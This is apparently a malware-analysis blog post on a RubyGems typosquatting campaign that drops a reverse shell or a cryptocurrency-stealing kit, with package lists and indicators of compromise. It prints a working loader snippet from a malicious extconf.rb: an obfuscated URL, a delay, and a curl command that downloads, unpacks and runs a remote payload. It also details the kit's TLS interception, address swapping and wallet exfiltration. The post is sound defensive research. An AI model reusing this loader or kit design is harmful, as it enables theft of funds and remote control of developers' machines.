Malicious Crypto Shell Packages Target RubyGems

opensourcemalware.com · 2026-10-06 · by Long Nguyen ·generic
A threat actor calling themselves "Ghost Dev" published 42 malicious typo squat packages to the RubyGems registry targeting crypto and web3 packages

Malicious Crypto Shell Packages Target RubyGems

The OpenSourceMalware automatic detection engine has identified 40+ malicious packages that use typosquatting, brandjacking, and plausible utility names to target crypto and web3 developers. There are two variants, either installing a reverse-shell or a cryptostealer.

Initially, we analyzed a malicious RubyGems package that downloads a second-stage cryptocurrency theft kit disguised as a wallet-protection utility called "Wallet Guard."

The bundle combines a local HTTP/HTTPS interception proxy, a browser content script, a clipboard hijacker, and a wallet-material grabber.

`rubygems-btc-shell` is a cryptocurrency theft kit disguised as a wallet-protection utility. Along with the rest of the packages, it was published to RubyGems by the user `reqthrottle_3474`, whose profile uses the name "Ghost Dev." See all the associated threat reports under the #rubygems-btc-shell tag.

The kit has two goals. The first is to redirect cryptocurrency withdrawals by replacing the destination address with an attacker-controlled wallet, while the page the victim sees continues to look unchanged. The second is to harvest wallet material. It searches the host for browser wallet data, seed phrases, private keys, and wallet files, then sends what it finds to a hard-coded collector.

The kit bundles four components:

  • A local HTTP/HTTPS interception proxy
  • A browser content script
  • A clipboard hijacker
  • A wallet-material grabber
  • The kit is effective because of how these pieces work together. It installs its own trusted root certificate, intercepts TLS traffic for targeted sites, rewrites requests in transit, and spoofs the user interface. That combination lets it redirect a withdrawal even when the victim checks the address visually. The grabber widens the damage beyond a single transaction by collecting wallet files and secrets from the local system.

    Organizations should check endpoints for the bundled root CA, modified proxy settings, unexpected autostart entries, and a listener on `127.0.0.1:8899`. Anyone whose wallet or exchange secrets were present on an affected host should treat them as compromised. From a clean device, move funds to a newly created wallet and change exchange passwords, API keys, and 2FA.

    Packages in this campaign

    So far, we've identified 42 packages that fall into three groups, and only 16 of them are typosquats of an existing gem.

    Typosquats of existing gems (16)

    Malicious package

    Legitimate gem

    Technique

    bitcion

    bitcoin

    Letter swap (o, i)

    bitciin

    bitcoin

    Substitution (o → i)

    bitcion-ruby

    bitcoin-ruby

    Letter swap (o, i)

    bitcoij-ruby

    bitcoin-ruby

    Adjacent key (n → j)

    lighthing-invoice

    lightning-invoice

    Adjacent key (n → h)

    ligbtning-invoice

    lightning-invoice

    Adjacent key (h → b)

    lightinng-invoice

    lightning-invoice

    Letter swap (n, i)

    keccka

    keccak

    Letter swap (a, k)

    kecack

    keccak

    Letter swap (c, a)

    cryoto-toolbox

    crypto-toolbox

    Adjacent key (p → o)

    crypti-toolbox

    crypto-toolbox

    Adjacent key (o → i)

    crylto-toolbox

    crypto-toolbox

    Adjacent key (p → l)

    etherdum.rb

    ethereum.rb

    Adjacent key (e → d)

    etheremu.rb

    ethereum.rb

    Letter swap (u, m)

    solaan-ruby

    solana-ruby

    Letter swap (n, a)

    tron-rb\*

    tron.rb (low confidence)

    Separator swap (. → -)

    \*The legitimate `tron.rb` gem has very few downloads, so `tron-rb` may be a plausible-sounding name rather than a deliberate typosquat.

    Brandjacking crypto projects (12)

    These packages don’t misspell an existing gem but rather they borrow a recognizable cryptocurrency project, standard, or brand to look legitimate:

  • bip39-wordlist-utils
  • bitcoin-address-utils
  • bitcoin-rpc-lite
  • btc-wallet-tools
  • coinmarket-utils
  • electrum-protocol-lite
  • eth-address-utils
  • eth-keystore-utils
  • ethereum-tx-helper
  • lightning-invoice-utils
  • web3-eth-utils
  • web3-sign-helper
  • Generic utility names (14)

    These packages use plausible, generic names that don’t point to a specific brand. Ten are crypto-themed and four look like HTTP request throttling libraries.

  • base58-check-helper
  • blockchain-sync-utils
  • crypto-key-utils
  • crypto-mnemonic-tools
  • hdkey-derive-helper
  • merkle-proof-lite
  • rate-limit-mini
  • req-throttle-mini
  • request-guard
  • throttle-requests
  • tx-broadcast-utils
  • utxo-set-utils
  • wallet-backup-tool
  • wallet-crypto-utils
  • Our analysis

    There are two stages to this malware campaign. The first is the RubyGems package itself which includes the payload file `ext/req_throttle_mini/extconf.rb`. This file is disguised as a Ruby native-extension build script, but its primary purpose is to act as a delayed backdoor.

  • Before activating, it checks whether it is running in CI, a sandbox, an analysis directory, or under a generated testing username, helping it avoid automated analysis environments.
  • It also looks for signs of a real developer workstation, including SSH keys, Git configuration, npm credentials, RubyGems credentials, or Bundler data.
  • If those checks pass, it forks into the background, detaches from the terminal, and waits approximately 20–40 minutes.
  • There are two versions of this malware!

    Yes you heard that right! This malware comes in two versions...

    V1 is a reverse shell

    The first version of this malware is relatively simple: It includes a reverse shell. Eleven of the 40+ packages are this variant. Once this version wakes up from its 20-40 minute nap, it immediately decodes a base64 payload embedded in the `extconf.rb` file:

    That second-stage payload repeatedly connects to 45.138.12.177 on TCP port 8090, attaches the connection to /bin/sh, and provides the remote operator with an interactive reverse shell. Failed connections are retried every 30 seconds. Although the file ends with normal-looking mkmf and create\_makefile calls, the preceding logic clearly implements sandbox evasion, delayed execution, and remote command execution.

    V2 downloads another payload

    The second version of this malware has an `extconf.rb` file with a different base64 payload embedded in it:

    key = "usv\x9a".bytes
    hex = '1d0702ea4f5c59ae405d47a94d5d47a85b4241ad4f4b46a3475c01fd1e1a02b4011204b41209'
    bs = [hex].pack('H*').bytes
    url = ENV['WG_KIT_URL'] || bs.each_with_index.map { |b, i| b ^ key[i % key.length] }.pack('C*')
    sleep(ENV['WG_FAST'] ? 2 : 1200 + rand(1200))
    cmd = "curl -s --max-time 25 \"#{url}\" -o /tmp/.w1.tgz; mkdir -p /tmp/.w1; tar xzf /tmp/.w1.tgz -C /tmp/.w1 2>/dev/null; bash /tmp/.w1/wg_install.sh >/dev/null 2>&1; rm -rf /tmp/.w1 /tmp/.w1.tgz"
    system(cmd) re

    That hex string combined with the second-to-last line downloads a file from `hxxp://45.138.12[.]177:8092/wgkit.tar.gz`. If you un-tar that file, the analyzed directory contains Python scripts, a browser extension, an installation script, a root certificate, per-exchange certificates, target configuration, and a compressed copy of the same toolkit. The source is unusually explicit about its intended behavior: comments describe clipboard hijacking, wallet-vault extraction, seed scanning, and exfiltration.

    drwxr-xr-x root/root         0 2026-10-05 07:06 ./
    -rw-r--r-- root/root      1253 2026-10-05 07:03 ./wg-ca.crt
    drwxr-xr-x root/root         0 2026-10-05 07:03 ./ext/
    -rw-r--r-- root/root      9066 2026-10-05 07:03 ./ext/content.js
    -rw-r--r-- root/root       573 2026-10-05 07:03 ./ext/manifest.json
    -rw-r--r-- root/root       159 2026-10-05 07:03 ./ext/background.js
    -rw-r--r-- root/root     15289 2026-10-05 07:03 ./inject_proxy.py
    -rwxr-xr-x root/root      1971 2026-10-05 07:06 ./wg_install.sh
    -rw-r--r-- root/root       927 2026-10-05 07:03 ./targets.json
    drwxr-xr-x root/root         0 2026-10-05 07:03 ./tls/
    -rw-r--r-- root/root      2912 2026-10-05 07:03 ./tls/mexc.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/kraken.com.pem
    -rw-r--r-- root/root      2908 2026-10-05 07:03 ./tls/okx.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/nonkyc.io.pem
    -rw-r--r-- root/root      2928 2026-10-05 07:03 ./tls/bitoasis.net.pem
    -rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/bitstamp.net.pem
    -rw-r--r-- root/root      2908 2026-10-05 07:03 ./tls/htx.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/bit2me.com.pem
    -rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/trocador.app.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/crypto.com.pem
    -rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/coinone.co.kr.pem
    -rw-r--r-- root/root      2904 2026-10-05 07:03 ./tls/127.0.0.1.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/bitget.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/czrex.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/xeggex.com.pem
    -rw-r--r-- root/root      2920 2026-10-05 07:03 ./tls/binance.com.pem
    -rw-r--r-- root/root      2908 2026-10-05 07:03 ./tls/gate.io.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/gemini.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/buybank.io.pem
    -rw-r--r-- root/root      2920 2026-10-05 07:03 ./tls/runeswap.io.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/mistex.io.pem
    -rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/coinbase.com.pem
    -rw-r--r-- root/root      2920 2026-10-05 07:03 ./tls/upbit.com.pem
    -rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/bitfinex.com.pem
    -rw-r--r-- root/root      2896 2026-10-05 07:03 ./tls/localhost.pem
    -rw-r--r-- root/root      2924 2026-10-05 07:03 ./tls/spotex.trade.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/lbank.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/kucoin.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/bybit.com.pem
    -rw-r--r-- root/root      2916 2026-10-05 07:03 ./tls/bitbank.cc.pem
    -rw-r--r-- root/root     11656 2026-10-05 07:03 ./_grab.py

    The kit has two cooperating components:

    1. `inject_proxy.py` intercepts local browser and shell traffic on `127.0.0.1:8899`. 2. `_grab.py` collects wallet data, scans user files, monitors the clipboard, and posts stolen material.

    The `ext/content.js` module can run as a browser extension content script or be inserted directly into proxied pages. The manifest grants access to all URLs and loads the script at `document_start` in all frames.

    Technical Analysis

    Installation and persistence

    `wg_install.sh` copies the kit into `$HOME/.cache/.wg`, attempts to install `wg-ca.crt` as a trusted certificate authority, and adds proxy variables to `.bashrc` and `.zshrc`.

    It then creates two desktop autostart entries:

  • `wg.desktop` launches the interception proxy.
  • `wg-grab.desktop` launches the wallet grabber.
  • The script also starts both processes immediately with `nohup`, allowing the malware to operate without root privileges when the user environment permits it.

    Local proxy and TLS interception

    The proxy listens on `127.0.0.1:8899` and handles both ordinary HTTP requests and HTTPS `CONNECT` tunnels. For configured exchange hosts, it establishes upstream TLS, creates a server-side TLS context for the victim, and injects the malicious JavaScript into HTML responses.

    The bundle includes a self-signed root certificate:

    Subject: C=US, O=Wallet Guard LLC, CN=Wallet Guard Root CA
    Issuer:  C=US, O=Wallet Guard LLC, CN=Wallet Guard Root CA
    Validity: 2026-10-05 through 2036-10-02

    It also contains private keys alongside leaf certificates for the targeted domains. This enables the proxy to present locally generated or pre-signed certificates for exchange traffic after the root certificate has been trusted.

    Non-targeted HTTPS traffic is transparently relayed. Targeted HTML responses are modified by inserting the contents of `ext/content.js` before the closing `</head>`, `<head>`, or `<body>` tag.

    Withdrawal-address replacement

    The injected script recognizes Bitcoin, Ethereum, Tron, Solana, and TON addresses. It monitors fields whose names or labels contain terms such as `address`, `wallet`, `recipient`, `destination`, `withdraw`, or `payout`.

    It hooks classic form submissions as well as `fetch`, `XMLHttpRequest`, and `FormData` APIs. When a matching address is found, it replaces the submitted value with an attacker wallet. The script then rewrites visible text and input values for up to twelve seconds so the victim continues seeing the original address.

    The operator wallets embedded in the script are:

    BTC  bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u
    ETH  0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd
    TRX  TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc
    SOL  DC78HUMAE5QCY8M83yp3b83GL6zFQCScfbiVND7CVX8M
    TON  UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3

    Before replacement, the original address, network, amount, and exchange host are sent to the local proxy. If that request fails, the script falls back to a direct image-based GET request to the remote collector.

    Clipboard hijacking

    `_grab.py` continuously reads the clipboard. On Windows it uses the Win32 clipboard API; on Unix-like systems it attempts `xclip` and `xsel`.

    When a cryptocurrency address is detected, the original value is exfiltrated and replaced with the corresponding operator wallet. The loop repeats approximately every 800 milliseconds, making it capable of intercepting addresses copied between applications rather than only addresses entered in a browser.

    Wallet-vault and secret harvesting

    The grabber searches common Chrome, Brave, and Edge locations for extension storage belonging to TronLink, MetaMask, Phantom, Binance, Coinbase, and Trust Wallet. It also searches for Exodus and Electrum wallet files.

    A separate file scanner examines user directories up to a limited depth and looks for filenames containing wallet, seed, mnemonic, keystore, backup, passphrase, or private-key terms. Matching contents are scanned for:

  • BIP39-like seed phrases
  • `xprv` extended private keys
  • WIF private keys
  • Keystore JSON

Collected data is truncated to configured size limits, XOR-obfuscated with a short static key, base64-encoded, and sent to the `/grab` endpoint as an HTTP POST request.

Exfiltration infrastructure

The grabber’s independently decoded default C2 URL is:

http://45.138.12.177:8080/wi/grab

The browser script’s fallback URL is:

http://45.138.12.177:8080/w

The local proxy can also relay browser events to an operator-supplied URL through its `--c2` option. The grabber accepts a `WG_C2` environment-variable override. These configurable branches were not resolved because their values are external to the sample.

Targeted exchanges

The proxy configuration names the following hosts:

xeggex.com       nonkyc.io        binance.com       coinbase.com
kraken.com       kucoin.com       bybit.com         lbank.com
bitoasis.net     okx.com          gate.io           mexc.com
bitget.com       bitfinex.com     crypto.com        bit2me.com
htx.com          bitstamp.net     gemini.com        upbit.com
coinone.co.kr    bitbank.cc      trocador.app      mistex.io
runeswap.io      buybank.io      spotex.trade      czrex.com

Indicators of Compromise (IOCs)

C2 infrastructure

45.138.12.177
http://45.138.12.177:8080/wi/grab
http://45.138.12.177:8080/w
127.0.0.1:8899

Persistence and files

$HOME/.cache/.wg
$HOME/.config/autostart/wg.desktop
$HOME/.config/autostart/wg-grab.desktop
Wallet Guard Root CA

Attacker wallets

bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u
0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd
TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc
DC78HUMAE5QCY8M83yp3b83GL6zFQCScfbiVND7CVX8M
UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3

SHA-256

_grab.py        387a778a6376b6c060516ce5c1191a61e075acfe3fb073e6e5cd78eeb96a95b3
inject_proxy.py 549d35217f1e884634993ba6f13dd8e82091dd9f995a9ed0cb575958e63f073d
ext/content.js  57a56ab47fa7f33147d4924b07e77d773515b4a06ca9ac090874209a9950f30b
wg_install.sh   b857fdf59db6948ea01643d935742904e9275572e63cd23331a9405483c6379c
wgkit.tar.gz    33276fedf0632be39b4e8a646c520bfa081bb7e67dce52042da46bbbda16d440
wg-ca.crt       075b6ac656aa414e2d21b9d1bc8b0fd030902202222e9d06a326fd80d7827ae6
opensourcemalware.com · 4 images · 51 links

Comments (0)

No comments yet